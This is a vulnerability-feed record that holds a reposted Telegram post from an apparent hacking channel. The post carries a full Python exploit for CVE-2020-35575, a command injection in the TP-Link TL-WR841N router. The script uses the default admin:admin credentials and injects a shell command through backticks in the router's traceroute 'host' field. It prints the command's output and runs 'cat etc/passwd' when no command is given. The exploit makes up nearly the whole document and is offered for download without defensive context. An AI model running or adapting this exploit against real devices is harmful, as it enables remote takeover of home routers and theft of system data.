{"uuid": "f95c4188-3ef2-46a5-a1e0-4949a1f293a8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-35575", "type": "seen", "source": "https://t.me/hacking_Attack/14116", "content": "Exploit Collector\nTP-Link TL-WR841N Command Injection\n\nhttps://4.bp.blogspot.com/-xhbT4GX8v9w/WWlvF89jtmI/AAAAAAAAILM/fSSkvnm11QwzZu21RJEqwX2S4icQcxCngCLcBGAs/s1600/h136.png \nTP-Link TL-WR841N suffers from a remote command injection vulnerability.\n\nMD5 | 6d752418204da4962328ae4dea40f269\n\nDownload\n# Exploit Title: TP-Link TL-WR841N - Command Injection\n# Date: 2020-12-13\n# Exploit Author: Koh You Liang\n# Vendor Homepage: https://www.tp-link.com/\n# Software Link: https://static.tp-link.com/TL-WR841N(JP)_V13_161028.zip\n# Version: TL-WR841N 0.9.1 4.0\n# Tested on: Windows 10\n# CVE : CVE-2020-35575\n\nimport requests\nimport sys\nimport time\n\ntry:\n_ = sys.argv[2]\npayload = ' '.join(sys.argv[1:])\nexcept IndexError:\ntry:\npayload = sys.argv[1]\nexcept IndexError:\nprint(\"[*] Command not specified, using the default `cat etc/passwd=`\")\npayload = 'cat etc/passwd'\n\n# Default credentials is admin:admin - replace with your own\ncookies = {\n'Authorization': 'Basic YWRtaW46YWRtaW4='\n}\n\nheaders = {\n'Host': '192.168.0.1',\n'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko=/20100101 Firefox/84.0',\n'Accept': '*/*',\n'Accept-Language': 'en-US,en;q=0.5',\n'Accept-Encoding': 'gzip, deflate',\n'Content-Type': 'text/plain',\n'Content-Length': '197',\n'Origin': 'http://192.168.0.1',\n'Connection': 'close',\n'Referer': 'http://192.168.0.1/mainFrame.htm',\n}\n\ndata1 = \\\n'''[TRACEROUTE_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,8\\r\\nmaxHopCount=20\\r\\ntimeout=50\\r\\nnumberOfTries=1\\r\\nhost=\"`{}`\"\\r\\ndataBlockSize=64\\r\\nX_TP_ConnName=ewan_ipoe_d\\r\\ndiagnosticsState=Requested\\r\\nX_TP_HopSeq=0\\r\\n'''.format(payload)\nresponse1 = requests.post('http://192.168.0.1/cgi?2', headers=headers, cookies=cookies, data=data1, verify=False)\nprint('[+] Sending payload...')\n\ntry:\nresponse1.text.splitlines()[0]\nexcept IndexError:\nsys.exit('[-] Cannot get response. Please check your cookie.')\nif response1.text.splitlines()[0] != '[error]0':\nsys.exit('[*] Router/Firmware is not vulnerable.')\n\ndata2 = '[ACT_OP_TRACERT#0,0,0,0,0,0#0,0,0,0,0,0]0,0\\r\\n'\nresponse2 = requests.post('http://192.168.0.1/cgi?7', headers=headers, cookies=cookies, data=data2, verify=False)\nprint('[+] Receiving response from router...')\ntime.sleep(0.8) # Buffer time for traceroute to succeed\n\ndata3 = '''[TRACEROUTE_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,3\\r\\ndiagnosticsState\\r\\nX_TP_HopSeq\\r\\nX_TP_Result\\r\\n'''\nresponse3 = requests.post('http://192.168.0.1/cgi?1', headers=headers, cookies=cookies, data=data3, verify=False)\n\nif '=:' in response3.text.splitlines()[3]:\nprint('[-] Command not supported.')\nelse:\nprint('[+] Exploit successful!')\nfor line_number, line in enumerate(response3.text.splitlines()):\ntry:\nif line_number == 3:\nprint(line[12:])\nif line_number > 3 and line != '[error]0':\nprint(line)\nif 'not known' in line:\nbreak\nexcept IndexError:\nbreak\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:02:34.725425Z"}